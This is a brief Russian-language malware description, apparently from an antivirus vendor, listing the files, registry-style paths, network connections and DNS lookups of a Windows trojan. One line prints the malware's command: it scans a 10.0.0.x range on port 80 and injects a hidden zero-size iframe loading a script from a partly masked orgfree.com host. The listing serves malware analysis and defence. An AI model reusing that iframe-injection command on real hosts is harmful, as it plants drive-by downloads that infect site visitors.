Техническая информация
- <SYSTEM32>\1033\tcpsvc.exe -idx 0 -ip 10.0.0.1-10.0.0.255 -port 80 -insert "<iframe src='http://ca###.orgfree.com/32.js' width=0 height=0>"
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\ps3[1].z
- <SYSTEM32>\wbem\profiles.txt
- <SYSTEM32>\mswinsck.ocx
- <SYSTEM32>\1033\tcpsvc.exe
- <SYSTEM32>\1033\tcpsvc.exe в %WINDIR%\regsvr32.exe
- 'ca###.orgfree.com':80
- 'localhost':1036
- ca###.orgfree.com/push/ps3.z
- DNS ASK ca###.orgfree.com